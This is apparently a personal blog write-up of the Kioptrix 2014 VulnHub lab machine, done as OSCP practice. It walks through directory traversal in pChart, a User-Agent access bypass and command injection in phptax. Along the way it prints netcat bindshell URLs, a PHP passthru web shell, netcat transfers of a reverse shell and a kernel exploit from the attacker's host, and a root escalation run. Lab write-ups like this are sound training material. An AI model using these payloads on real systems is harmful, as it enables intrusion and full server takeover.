I’m intending to start the OSCP course in the nearish future and wanting to give myself the best possible chance of success with it, I’m doing some more CTFs. I found this list of supposedly relevant CTFs: https://medium.com/@a.hilton83/oscp-training-vms-hosted-on-vulnhub-com-22fa061bf6a1
Top of the list is Kioptrix: 2014.
Enumeration
Booting up the VM you’re presented with a bare login page with no info to be gleaned. I’ve put the machine on a host-only network of 10.0.0.0/24 and I can see the IP it’s bound in the info on the boot screen. A basic nmap gives me:
root@kali2017-1:~# nmap -sV 10.0.0.3 Starting Nmap 7.60 ( https://nmap.org ) at 2017-11-14 17:27 GMT Nmap scan report for 10.0.0.3 Host is up (0.00063s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 22/tcp closed ssh 80/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8) 8080/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8) MAC Address: 00:0C:29:2F:C6:2A (VMware)
Digging into nmap on the individual ports doesn’t reveal much more. So what do we know at this point?
- SSH is closed
- Webpages on ports 80 and 8080
- Apache 2.2.21
- FreeBSD version unknown
- OpenSSL 0.9.8q
- PHP 5.3.8
Let’s check out these webpages. Standard port 80 gives
and 8080:
Not much to go on here then. No forms, no sign of SQL in action.
dirb & verbs
Given the the “It works” text I’m thinking this looks like a site under development and maybe there are some directories or files lying around yet to be tidied up so I run dirb with it’s standard common wordlist and it comes up short – nothing of interest at all that I could find. I could try much longer lists and will do if I can’t find anything else. I also looked to see if the HTTP verbs are misconfigured to allow actions like PUT by using netcat and the OPTIONS method:
root@kali2017-1:~# nc 10.0.0.3 80 OPTIONS / HTTP/1.0 HTTP/1.1 200 OK Date: Wed, 15 Nov 2017 10:32:30 GMT Server: Apache/2.2.21 (FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8 Allow: GET,HEAD,POST,OPTIONS,TRACE Content-Length: 0 Connection: close Content-Type: text/html
Hidden PHP App
Not much of use there. So let’s look at the page source on these pages. The port 8080 page has nothing of use that I can see but the port 80 page shows:
A comment with a URL. I’m not familiar with the code there so I look it up and according to wikipedia “Meta refresh is a method of instructing a web browser to automatically refresh the current web page or frame after a given time interval”. It’s been commented out here but it’s easy for us to just visit the url by appending the IP address we’re visiting and this pops up:
Now we’re getting somewhere. A php driven web app called pChart 2.1.3 to get stuck into. I doubt dirb was going to find that anytime soon.
Directory Traversal Vulnerability
There could be all sorts of attack angles here but let’s find out about this app first by googling it. The very first result in google is: https://www.exploit-db.com/exploits/31173/telling us:
# Exploit Title: pChart 2.1.3 Directory Traversal and Reflected XSS
# Date: 2014-01-24
# Exploit Author: Balazs Makany
# Vendor Homepage: www.pchart.net
# Software Link: www.pchart.net/download
# Google Dork: intitle:"pChart 2.x - examples" intext:"2.1.3"
# Version: 2.1.3
# Tested on: N/A (Web Application. Tested on FreeBSD and Apache)
# CVE : N/A
[0] Summary:
PHP library pChart 2.1.3 (and possibly previous versions) by default
contains an examples folder, where the application is vulnerable to
Directory Traversal and Cross-Site Scripting (XSS).
It is plausible that custom built production code contains similar
problems if the usage of the library was copied from the examples.
The exploit author engaged the vendor before publicly disclosing the
vulnerability and consequently the vendor released an official fix
before the vulnerability was published.
[1] Directory Traversal:
The traversal is executed with the web server's privilege and leads to
sensitive file disclosure (passwd, siteconf.inc.php or similar),
access to source codes, hardcoded passwords or other high impact
consequences, depending on the web server's configuration.
This problem may exists in the production code if the example code was
copied into the production environment.
Directory Traversal remediation:
1) Update to the latest version of the software.
2) Remove public access to the examples folder where applicable.
3) Use a Web Application Firewall or similar technology to filter
malicious input attempts.
[2] Cross-Site Scripting (XSS):
"hxxp://localhost/examples/sandbox/script/session.php?<script>alert('XSS')</script>
This file uses multiple variables throughout the session, and most of
them are vulnerable to XSS attacks. Certain parameters are persistent
throughout the session and therefore persists until the user session
is active. The parameters are unfiltered.
Cross-Site Scripting remediation:
1) Update to the latest version of the software.
2) Remove public access to the examples folder where applicable.
3) Use a Web Application Firewall or similar technology to filter
malicious input attempts.
[3] Disclosure timeline:
2014 January 16 - Vulnerability confirmed, vendor contacted
2014 January 17 - Vendor replied, responsible disclosure was orchestrated
2014 January 24 - Vendor was inquired about progress, vendor replied
and noted that the official patch is released.
"hxxp://localhost/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd"
so just need to alter the URL to fit our parameters and:Now we’re getting somewhere. Some usernames there which could help and the ability to traverse directories and view other files. I try to view the etc/shadow file in case there is an easy win there but no dice. The vulnerability doesn’t appear to let you list directories which is a shame as it’s otherwise a bit of a black box having to guess exact filenames. I try some known linux files like hosts and it works so I think it’s just a matter of coming up with some useful filenames and locations.
But let’s have another look at the other page at port 8080. That gives and error message that is familiar enough, we’ve all seen it:
Forbidden
You don’t have permission to access / on this server.
Let’s google that and see if there is anything of use relating to it – I constantly discover I don’t actually know much about all sorts of things I’ve seen 100’s of times but not really thought about. This page gives some interesting info: https://stackoverflow.com/questions/10873295/error-message-forbidden-you-dont-have-permission-to-access-on-this-server – no surprise it’s an Apache error. Can be down to permissions on files or directories, htaccess settings or an Apache configuration file called httpd.conf. I can’t really do much about file and folder permissions at this point but we can view files. Googling “apache configuration files”. I find https://httpd.apache.org/docs/2.4/configuring.html which says the main file is httpd.conf but I’ve also come up with a few others that might be worth a look:
- htaccess
- apache2.conf
- vhosts.conf
- apache/error.logs
I’ll check out httpd.conf first as it’s the main one, but where is it exactly? Stackoverflow https://stackoverflow.com/questions/12202021/where-is-my-httpd-conf-file-located-apache has a link that tells you where it is depending on the OS you’re using: https://wiki.apache.org/httpd/DistrosDefaultLayout this box is using FreeBSD and Apache 2.2.21 so the closest match is: https://wiki.apache.org/httpd/DistrosDefaultLayout#FreeBSD_6.1_.28Apache_httpd_2.2.29:
Let’s try out /usr/local/etc/apache22/httpd.conf – that would be https://10.0.0.3/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fusr/local/etc/apache22/httpd.conf – and it works!
The complete text is:
# # This is the main Apache HTTP server configuration file. It contains the # configuration directives that give the server its instructions. # See <URL:https://httpd.apache.org/docs/2.2> for detailed information. # In particular, see # <URL:https://httpd.apache.org/docs/2.2/mod/directives.html> # for a discussion of each configuration directive. # # Do NOT simply read the instructions in here without understanding # what they do. They're here only as hints or reminders. If you are unsure # consult the online docs. You have been warned. # # Configuration and logfile names: If the filenames you specify for many # of the server's control files begin with "/" (or "drive:/" for Win32), the # server will use that explicit path. If the filenames do *not* begin # with "/", the value of ServerRoot is prepended -- so "/var/log/foo_log" # with ServerRoot set to "/usr/local" will be interpreted by the # server as "/usr/local//var/log/foo_log". # # ServerRoot: The top of the directory tree under which the server's # configuration, error, and log files are kept. # # Do not add a slash at the end of the directory path. If you point # ServerRoot at a non-local disk, be sure to point the LockFile directive # at a local disk. If you wish to share the same ServerRoot for multiple # httpd daemons, you will need to change at least LockFile and PidFile. # ServerRoot "/usr/local" # # Listen: Allows you to bind Apache to specific IP addresses and/or # ports, instead of the default. See also the <VirtualHost> # directive. # # Change this to Listen on specific IP addresses as shown below to # prevent Apache from glomming onto all bound IP addresses. # #Listen 12.34.56.78:80 Listen 80 Listen 8080 # # Dynamic Shared Object (DSO) Support # # To be able to use the functionality of a module which was built as a DSO you # have to place corresponding `LoadModule' lines at this location so the # directives contained in it are actually available _before_ they are used. # Statically compiled modules (those listed by `httpd -l') do not need # to be loaded here. # # Example: # LoadModule foo_module modules/mod_foo.so # LoadModule authn_file_module libexec/apache22/mod_authn_file.so LoadModule authn_dbm_module libexec/apache22/mod_authn_dbm.so LoadModule authn_anon_module libexec/apache22/mod_authn_anon.so LoadModule authn_default_module libexec/apache22/mod_authn_default.so LoadModule authn_alias_module libexec/apache22/mod_authn_alias.so LoadModule authz_host_module libexec/apache22/mod_authz_host.so LoadModule authz_groupfile_module libexec/apache22/mod_authz_groupfile.so LoadModule authz_user_module libexec/apache22/mod_authz_user.so LoadModule authz_dbm_module libexec/apache22/mod_authz_dbm.so LoadModule authz_owner_module libexec/apache22/mod_authz_owner.so LoadModule authz_default_module libexec/apache22/mod_authz_default.so LoadModule auth_basic_module libexec/apache22/mod_auth_basic.so LoadModule auth_digest_module libexec/apache22/mod_auth_digest.so LoadModule file_cache_module libexec/apache22/mod_file_cache.so LoadModule cache_module libexec/apache22/mod_cache.so LoadModule disk_cache_module libexec/apache22/mod_disk_cache.so LoadModule dumpio_module libexec/apache22/mod_dumpio.so LoadModule reqtimeout_module libexec/apache22/mod_reqtimeout.so LoadModule include_module libexec/apache22/mod_include.so LoadModule filter_module libexec/apache22/mod_filter.so LoadModule charset_lite_module libexec/apache22/mod_charset_lite.so LoadModule deflate_module libexec/apache22/mod_deflate.so LoadModule log_config_module libexec/apache22/mod_log_config.so LoadModule logio_module libexec/apache22/mod_logio.so LoadModule env_module libexec/apache22/mod_env.so LoadModule mime_magic_module libexec/apache22/mod_mime_magic.so LoadModule cern_meta_module libexec/apache22/mod_cern_meta.so LoadModule expires_module libexec/apache22/mod_expires.so LoadModule headers_module libexec/apache22/mod_headers.so LoadModule usertrack_module libexec/apache22/mod_usertrack.so LoadModule unique_id_module libexec/apache22/mod_unique_id.so LoadModule setenvif_module libexec/apache22/mod_setenvif.so LoadModule version_module libexec/apache22/mod_version.so LoadModule ssl_module libexec/apache22/mod_ssl.so LoadModule mime_module libexec/apache22/mod_mime.so LoadModule dav_module libexec/apache22/mod_dav.so LoadModule status_module libexec/apache22/mod_status.so LoadModule autoindex_module libexec/apache22/mod_autoindex.so LoadModule asis_module libexec/apache22/mod_asis.so LoadModule info_module libexec/apache22/mod_info.so LoadModule cgi_module libexec/apache22/mod_cgi.so LoadModule dav_fs_module libexec/apache22/mod_dav_fs.so LoadModule vhost_alias_module libexec/apache22/mod_vhost_alias.so LoadModule negotiation_module libexec/apache22/mod_negotiation.so LoadModule dir_module libexec/apache22/mod_dir.so LoadModule imagemap_module libexec/apache22/mod_imagemap.so LoadModule actions_module libexec/apache22/mod_actions.so LoadModule speling_module libexec/apache22/mod_speling.so LoadModule userdir_module libexec/apache22/mod_userdir.so LoadModule alias_module libexec/apache22/mod_alias.so LoadModule rewrite_module libexec/apache22/mod_rewrite.so LoadModule php5_module libexec/apache22/libphp5.so <IfModule !mpm_netware_module> <IfModule !mpm_winnt_module> # # If you wish httpd to run as a different user or group, you must run # httpd as root initially and it will switch. # # User/Group: The name (or #number) of the user/group to run httpd as. # It is usually good practice to create a dedicated user and group for # running httpd, as with most system services. # User www Group www </IfModule> </IfModule> # 'Main' server configuration # # The directives in this section set up the values used by the 'main' # server, which responds to any requests that aren't handled by a # <VirtualHost> definition. These values also provide defaults for # any <VirtualHost> containers you may define later in the file. # # All of these directives may appear inside <VirtualHost> containers, # in which case these default settings will be overridden for the # virtual host being defined. # # # ServerAdmin: Your address, where problems with the server should be # e-mailed. This address appears on some server-generated pages, such # as error documents. e.g. admin@your-domain.com # ServerAdmin you@example.com # # ServerName gives the name and port that the server uses to identify itself. # This can often be determined automatically, but we recommend you specify # it explicitly to prevent problems during startup. # # If your host doesn't have a registered DNS name, enter its IP address here. # #ServerName www.example.com:80 # # DocumentRoot: The directory out of which you will serve your # documents. By default, all requests are taken from this directory, but # symbolic links and aliases may be used to point to other locations. # DocumentRoot "/usr/local/www/apache22/data" # # Each directory to which Apache has access can be configured with respect # to which services and features are allowed and/or disabled in that # directory (and its subdirectories). # # First, we configure the "default" to be a very restrictive set of # features. # <Directory /> AllowOverride None Order deny,allow Deny from all </Directory> # # Note that from this point forward you must specifically allow # particular features to be enabled - so if something's not working as # you might expect, make sure that you have specifically enabled it # below. # # # This should be changed to whatever you set DocumentRoot to. # <Directory "/usr/local/www/apache22/data"> # # Possible values for the Options directive are "None", "All", # or any combination of: # Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI MultiViews # # Note that "MultiViews" must be named *explicitly* --- "Options All" # doesn't give it to you. # # The Options directive is both complicated and important. Please see # https://httpd.apache.org/docs/2.2/mod/core.html#options # for more information. # Options Indexes FollowSymLinks # # AllowOverride controls what directives may be placed in .htaccess files. # It can be "All", "None", or any combination of the keywords: # Options FileInfo AuthConfig Limit # AllowOverride None # # Controls who can get stuff from this server. # Order allow,deny Allow from all </Directory> # # DirectoryIndex: sets the file that Apache will serve if a directory # is requested. # <IfModule dir_module> DirectoryIndex index.php index.html </IfModule> # # The following lines prevent .htaccess and .htpasswd files from being # viewed by Web clients. # <FilesMatch "^\.ht"> Order allow,deny Deny from all Satisfy All </FilesMatch> # # ErrorLog: The location of the error log file. # If you do not specify an ErrorLog directive within a <VirtualHost> # container, error messages relating to that virtual host will be # logged here. If you *do* define an error logfile for a <VirtualHost> # container, that host's errors will be logged there and not here. # ErrorLog "/var/log/httpd-error.log" # # LogLevel: Control the number of messages logged to the error_log. # Possible values include: debug, info, notice, warn, error, crit, # alert, emerg. # LogLevel warn <IfModule log_config_module> # # The following directives define some format nicknames for use with # a CustomLog directive (see below). # LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined LogFormat "%h %l %u %t \"%r\" %>s %b" common <IfModule logio_module> # You need to enable mod_logio.c to use %I and %O LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" %I %O" combinedio </IfModule> # # The location and format of the access logfile (Common Logfile Format). # If you do not define any access logfiles within a <VirtualHost> # container, they will be logged here. Contrariwise, if you *do* # define per-<VirtualHost> access logfiles, transactions will be # logged therein and *not* in this file. # #CustomLog "/var/log/httpd-access.log" common # # If you prefer a logfile with access, agent, and referer information # (Combined Logfile Format) you can use the following directive. # CustomLog "/var/log/httpd-access.log" combined </IfModule> <IfModule alias_module> # # Redirect: Allows you to tell clients about documents that used to # exist in your server's namespace, but do not anymore. The client # will make a new request for the document at its new location. # Example: # Redirect permanent /foo https://www.example.com/bar # # Alias: Maps web paths into filesystem paths and is used to # access content that does not live under the DocumentRoot. # Example: # Alias /webpath /full/filesystem/path # # If you include a trailing / on /webpath then the server will # require it to be present in the URL. You will also likely # need to provide a <Directory> section to allow access to # the filesystem path. # # ScriptAlias: This controls which directories contain server scripts. # ScriptAliases are essentially the same as Aliases, except that # documents in the target directory are treated as applications and # run by the server when requested rather than as documents sent to the # client. The same rules about trailing "/" apply to ScriptAlias # directives as to Alias. # ScriptAlias /cgi-bin/ "/usr/local/www/apache22/cgi-bin/" </IfModule> <IfModule cgid_module> # # ScriptSock: On threaded servers, designate the path to the UNIX # socket used to communicate with the CGI daemon of mod_cgid. # #Scriptsock /var/run/cgisock </IfModule> # # "/usr/local/www/apache22/cgi-bin" should be changed to whatever your ScriptAliased # CGI directory exists, if you have that configured. # <Directory "/usr/local/www/apache22/cgi-bin"> AllowOverride None Options None Order allow,deny Allow from all </Directory> # # DefaultType: the default MIME type the server will use for a document # if it cannot otherwise determine one, such as from filename extensions. # If your server contains mostly text or HTML documents, "text/plain" is # a good value. If most of your content is binary, such as applications # or images, you may want to use "application/octet-stream" instead to # keep browsers from trying to display binary files as though they are # text. # DefaultType text/plain <IfModule mime_module> # # TypesConfig points to the file containing the list of mappings from # filename extension to MIME-type. # TypesConfig etc/apache22/mime.types # # AddType allows you to add to or override the MIME configuration # file specified in TypesConfig for specific file types. # #AddType application/x-gzip .tgz # # AddEncoding allows you to have certain browsers uncompress # information on the fly. Note: Not all browsers support this. # #AddEncoding x-compress .Z #AddEncoding x-gzip .gz .tgz # # If the AddEncoding directives above are commented-out, then you # probably should define those extensions to indicate media types: # AddType application/x-compress .Z AddType application/x-gzip .gz .tgz # # AddHandler allows you to map certain file extensions to "handlers": # actions unrelated to filetype. These can be either built into the server # or added with the Action directive (see below) # # To use CGI scripts outside of ScriptAliased directories: # (You will also need to add "ExecCGI" to the "Options" directive.) # #AddHandler cgi-script .cgi # For type maps (negotiated resources): #AddHandler type-map var # # Filters allow you to process content before it is sent to the client. # # To parse .shtml files for server-side includes (SSI): # (You will also need to add "Includes" to the "Options" directive.) # #AddType text/html .shtml #AddOutputFilter INCLUDES .shtml AddType application/x-httpd-php .php AddType application/x-httpd-php-source .phps </IfModule> # # The mod_mime_magic module allows the server to use various hints from the # contents of the file itself to determine its type. The MIMEMagicFile # directive tells the module where the hint definitions are located. # #MIMEMagicFile etc/apache22/magic # # Customizable error responses come in three flavors: # 1) plain text 2) local redirects 3) external redirects # # Some examples: #ErrorDocument 500 "The server made a boo boo." #ErrorDocument 404 /missing.html #ErrorDocument 404 "/cgi-bin/missing_handler.pl" #ErrorDocument 402 https://www.example.com/subscription_info.html # # # MaxRanges: Maximum number of Ranges in a request before # returning the entire resource, or 0 for unlimited # Default setting is to accept 200 Ranges #MaxRanges 0 # # EnableMMAP and EnableSendfile: On systems that support it, # memory-mapping or the sendfile syscall is used to deliver # files. This usually improves server performance, but must # be turned off when serving from networked-mounted # filesystems or if support for these functions is otherwise # broken on your system. # #EnableMMAP off #EnableSendfile off # Supplemental configuration # # The configuration files in the etc/apache22/extra/ directory can be # included to add extra features or to modify the default configuration of # the server, or you may simply copy their contents here and change as # necessary. # Server-pool management (MPM specific) #Include etc/apache22/extra/httpd-mpm.conf # Multi-language error messages #Include etc/apache22/extra/httpd-multilang-errordoc.conf # Fancy directory listings #Include etc/apache22/extra/httpd-autoindex.conf # Language settings #Include etc/apache22/extra/httpd-languages.conf # User home directories #Include etc/apache22/extra/httpd-userdir.conf # Real-time info on requests and configuration #Include etc/apache22/extra/httpd-info.conf # Virtual hosts #Include etc/apache22/extra/httpd-vhosts.conf # Local access to the Apache HTTP Server Manual #Include etc/apache22/extra/httpd-manual.conf # Distributed authoring and versioning (WebDAV) #Include etc/apache22/extra/httpd-dav.conf # Various default settings #Include etc/apache22/extra/httpd-default.conf # Secure (SSL/TLS) connections #Include etc/apache22/extra/httpd-ssl.conf # # Note: The following must must be present to support # starting without SSL on platforms with no /dev/random equivalent # but a statically compiled-in mod_ssl. # <IfModule ssl_module> SSLRandomSeed startup builtin SSLRandomSeed connect builtin </IfModule> SetEnvIf User-Agent ^Mozilla/4.0 Mozilla4_browser <VirtualHost *:8080> DocumentRoot /usr/local/www/apache22/data2 <Directory "/usr/local/www/apache22/data2"> Options Indexes FollowSymLinks AllowOverride All Order allow,deny Allow from env=Mozilla4_browser </Directory> </VirtualHost> Include etc/apache22/Includes/*.conf
I can also look at https://10.0.0.3/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fvar/log/httpd-error.log and https://10.0.0.3/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fvar/log/httpd-access.log
In order to find out what is blocking me I visit the 8080 site 5 times to make it easy to find the 5 recent errors in the log and I get:
[Wed Nov 15 06:34:08 2017] [error] [client 10.0.0.5] client denied by server configuration: /usr/local/www/apache22/data2/
[Wed Nov 15 06:34:11 2017] [error] [client 10.0.0.5] client denied by server configuration: /usr/local/www/apache22/data2/
[Wed Nov 15 06:34:13 2017] [error] [client 10.0.0.5] client denied by server configuration: /usr/local/www/apache22/data2/
[Wed Nov 15 06:34:15 2017] [error] [client 10.0.0.5] client denied by server configuration: /usr/local/www/apache22/data2/
[Wed Nov 15 06:34:17 2017] [error] [client 10.0.0.5] client denied by server configuration: /usr/local/www/apache22/data2/
I think that means that it’s a setting in httpd.conf file is likely to be blocking me. This page suggests it is: https://wiki.apache.org/httpd/ClientDeniedByServerConfiguration
I need to understand what these Apache config settings mean so google around:
AllowOverride None – “used to allow the use of .htaccess within the web server to allow overriding of the Apache config on a per directory basis. … That’s why it only works when you have AllowOverride All because you are telling the webserver to allow the use of an .htaccess file” This seems like a key setting. Searching our file, it’s set to None in all but one place. None meaning htaccess cannot override the per directory settings. .htaccess uses the same syntax and operates on the directory it’s in.
Order allow,deny – “You can see the Order directive used in two ways: Order allow,deny and Order deny,allow
Order allow,deny tells your web server that the Allow rules are processed before the Deny rules. If the client does not match the Allow rule or it does match the Deny rule, then the client will be denied access.
Order deny, allow means that the deny rules are processed before the allow rules. If the client does not match the deny rule or it does match the allow rule, then it will be granted access.”
So taking the first instance of this in the conf file:
<Directory /> AllowOverride None Order deny,allow Deny from all </Directory>
That is setting the root web directory to not allow htaccess override and set denies and then allows, and then deny from all. So by default, no access. After that there are some allows for specific things.
We’re most interested in being allowed into whatever might on the site at port 8080. This codehere is the only thing that looks relevant to me:
SetEnvIf User-Agent ^Mozilla/4.0 Mozilla4_browser <VirtualHost *:8080> DocumentRoot /usr/local/www/apache22/data2 <Directory "/usr/local/www/apache22/data2"> Options Indexes FollowSymLinks AllowOverride All Order allow,deny Allow from env=Mozilla4_browser </Directory>
SetEnvIf is a command to set an environmental variable, in this case the variable User-Agent being set to Mozilla/4.0 and giving it the name “Mozilla4_browser”
The VirtualHost sets up the documents location for serving from port 8080
The next section is saying to only allow access to the main web directory for the env var set earlier, that being the User-Agent Mozilla/4.0. In other words, if we want to see what’s in that directory (ie. what the site is serving up) then we’ll need to be using that specific User-Agent.
Another hidden PHP Application
This page tells you how to set a custom user agent in Firefox: https://www.howtogeek.com/113439/how-to-change-your-browsers-user-agent-without-installing-any-extensions/
Bingo, a link, which goes a rather busy-looking php application:
Initially I’m thinking this is a very ornate application for a vulnhub VM creator to have made up and start poking about see if I can find SQLi points etc. Then I realise it really is too much work for a deliberately vulnerable php app, realise it’s an app that’s in wider use and google it for vulnerabilities. It has a major one for which there are several exploits written including a metasploit module: https://www.exploit-db.com/exploits/21833/
I won’t bore you with the details since, like many metaploit exploits, it’s simply matter of selecting it, filling in a couple of options and running it. I tried it and it works just fine. However I understand that in the OSCP exam, you only get one go with metasploit I need to get beyond looking up exploits and pointing metesploit at them. A manual form of the exploit is shown here: https://www.exploit-db.com/exploits/21665/
The application is prone to a remote code execution vulnerability. ---------------------------------------------------- drawimage.php, line 63: include ("./files/$_GET[pfilez]"); // makes a png image $pfilef=str_replace(".tob",".png",$_GET[pfilez]); $pfilep=str_replace(".tob",".pdf",$_GET[pfilez]); Header("Content-type: image/png"); if ($_GET[pdf] == "") Imagepng($image); if ($_GET[pdf] == "make") Imagepng($image,"./data/pdf/$pfilef"); if ($_GET[pdf] == "make") exec("convert ./data/pdf/$pfilef ./data/pdf/$pfilep"); ---------------------------------------------------- Exploit / Proof of Concept: Bindshell on port 23235 using netcat: https://localhost/phptax/drawimage.php?pfilez=xxx;%20nc%20-l%20-v%20-p%2023235%20-e%20/bin/bash;&pdf=make ** Exploit-DB Verified:** https://localhost/phptax/index.php?pfilez=1040d1-pg2.tob;nc%20-l%20-v%20-p%2023235%20-e%20/bin/bash;&pdf=make
I don’t yet know enough PHP to entirely understand what is going on but I do know what Remote Code Execution is and so I’m looking at running shell commands on the server through the URL. Clearly the php code is taking an argument from the URL (GET). The last line with the %20’s decoded to spaces reads:
https://localhost/phptax/index.php?pfilez=1040d1-pg2.tob;nc -l -v -p 23235 -e /bin/bash;&pdf=make
The code up to the first ; is the normal URL you see when using the app. The part after the second ; corresponds to the php code in the app. The code in between the ; characters is a standard netcat command to set up a reverse shell on port 23235 that executes bash shell commands. I tried this with the URL altered to fit my IP and port number etc, and it doesn’t work for some reason. but at least I understand a bit more about what’s going on. I try a simple test of putting the linux command ls between the ;’s but it doesn’t work as no output is being created so instead I put ls>ls.php which runs the ls command but outputs to a file call ls.php (in the code below the > symbol has been encoded to %3E).
https://10.0.0.3:8080/phptax/index.php?pfilez=1040d1-pg2.tob;ls%3Els.php;&pdf=make
and then try to access the file I just created: https://10.0.0.3:8080/ls.php and get:
It works. NB I’m viewing the page as page source as I’ve done a similar thing before so I happen to know it produces a more shell-like list which is easier to read. You can see some other files there which I was mucking around with before I got around to writing this up.
So I can run arbitrary shell commands. That’s great but that’s not got me actual access yet. I guess I could try creating a new user with a password and then logging in but I can only do that because I’ve got access to the VM. In a real-work situation, where the box is remote, I couldn’t. So I won’t. What I need is a shell. I think I have a couple of options – solve the netcat riddle and set up a simple reverse shell with that, or get a simple php shell and have the exploit create php file on the server with the shell in it.
I’m struggling to work out why the netcat commands don’t work. I’m thinking likely reasons include: it doesn’t even have nc installed, it requires the whole path to the nc command, it doesn’t accept nc -e or that there is no access bin/bash or it simply isn’t there.
Is there an echo in here?
A common method to get a simple PHP shell onto the server, when you have a shell RCE situation is to use the echo command to echo some php code and > it to a php file. However after trying this for quite some time, I simply could not get it to work. I can echo simple text and create files but even the simplest one-liner php shell doesn’t work. I guess it’s something to do with encoding it and I tried every which way I could but never got it working. Since completing this I’ve looked at some walkthroughs and other people seem to have got this working but even with their code, mine doesn’t.
A bit of research and I found this: https://www.exploit-db.com/exploits/25849/
with the line (altered for my address) https://10.0.0.3:8080/phptax/index.php?field=rce.php&newvalue=%3C%3Fphp%20passthru%28%24_GET[cmd]%29%3B%3F%3E which decoded is:
https://10.0.0.3:8080/phptax/index.php?field=rce.php&newvalue=<?php passthru($_GET[cmd]);?>
This creates a file called rce.php with the one-line shell: <?php passthru($_GET[cmd]);?> which uses the passthru function to pass parameters from the URL
Then visiting: view-source:https://10.0.0.3:8080/phptax/data/rce.php?cmd=ls (I gleaned this from the line {$url}/data/rce.php?cmd=id\n”;)
it executes the commands passed to it. Now to try to transfer a remote shell.
On my kali box I set up an nc listener in my shells folder in which I’ve got a php reverse shell from Pentest Monkey called PTMshell.php and have it inputting that file
root@kali2017-1:~/Shells# nc -lvp 1234 < PTMshell.php listening on [any] 1234 ...
Now I need to set up the other end of netcat to connect to that port on my Kali box and output the file. In the browser:
https://10.0.0.3:8080/phptax/data/rce.php?cmd=nc%2010.0.0.2%201234%3E%20PTM.php
I can easily list the folder and see the file is there, set up a standard nc listener on kali visit the PTM.php file at:
https://10.0.0.3:8080/phptax/data/PTM.php
And the reverse shell is set up and working.
oot@kali2017-1:~/Shells# nc -lvp 1234 listening on [any] 1234 ... 10.0.0.3: inverse host lookup failed: Unknown host connect to [10.0.0.2] from (UNKNOWN) [10.0.0.3] 20955 FreeBSD kioptrix2014 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan 3 07:46:30 UTC 2012 root@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64 6:20AM up 5:13, 0 users, load averages: 0.13, 0.03, 0.01 USER TTY FROM LOGIN@ IDLE WHAT uid=80(www) gid=80(www) groups=80(www) sh: can't access tty; job control turned off $ ls COPYRIGHT bin boot dev entropy etc home lib libexec media mnt proc rescue root sbin sys tmp usr var
Poking around it’s clear root has the file we need but we can’t access it due to limited permissions. The aim of the game is to get root privileges. We also now know the OS is FreeBSD 9.0 there is an exploit available for that: https://www.exploit-db.com/exploits/28718/
They don’t give much info about it as usual but it’s clear it’s some C code so the plan is to get that onto the machine, compile it and run it.
I’ll try the same netcat method as before and it should be easier given I can do it in a shell rather than a URL. Moving to the tmp directory I test creating a file to be sure this is a good place to download the code. It is.
I’ve downloaded the exploit code on my Kali box, into a file I’ve called “r00ter.c” and then set up the listener on the Kali box, waiting to push the file over.
root@kali2017-1:~# nc -lvp 7777 < r00ter.c listening on [any] 7777 ...
Now on the target machine set netcat to output to a file, check progress with ls, and there is the file in the directory listing:
$ nc 10.0.0.2 7777 > r00ter.c $ ls apr8K1MCR aprMxgokv aprg9itkH aprhkk1H0 aprtxqSFl mysql.sock r00ter.c test_directory vmware-fonts0
A quick cat of the file to make sure it’s arrived intact and then onto compiling it with gcc, to produce an executable called “r00ter”. Run it and check my privilege man.
$ gcc r00ter.c -o r00ter r00ter.c:178:2: warning: no newline at end of file $ ls apr8K1MCR aprMxgokv aprg9itkH aprhkk1H0 aprtxqSFl exploit.c mysql.sock r00ter r00ter.c test_directory vmware-fonts0 $ ./r00ter [+] SYSRET FUCKUP!! [+] Start Engine... [+] Crotz... [+] Crotz... [+] Crotz... [+] Woohoo!!! $ whoami root $
Check out the flag file:
$ cd root $ ls .cshrc .history .k5login .login .mysql_history .profile congrats.txt folderMonitor.log httpd-access.log lazyClearLog.sh monitor.py ossec-alerts.log $ cat congrats.txt If you are reading this, it means you got root (or cheated). Congratulations either way... Hope you enjoyed this new VM of mine. As always, they are made for the beginner in mind, and not meant for the seasoned pentester. However this does not mean one can't enjoy them.
I found that quite challenging. Working out there was something worth looking at behind port 8080 but that you needed the right user-agent took to see it took ages and is slightly annoying really since I can’t really see that being common in real life but what would I know? Maybe it is. Trying to get the echo > file working was frustrating and I never did but I’m certain it does work as other walkthroughs use it. Something about my syntax stopped it.
Any suggestions, particularly with the echo part would be nice if you’re reading this and know better.
Leave a Reply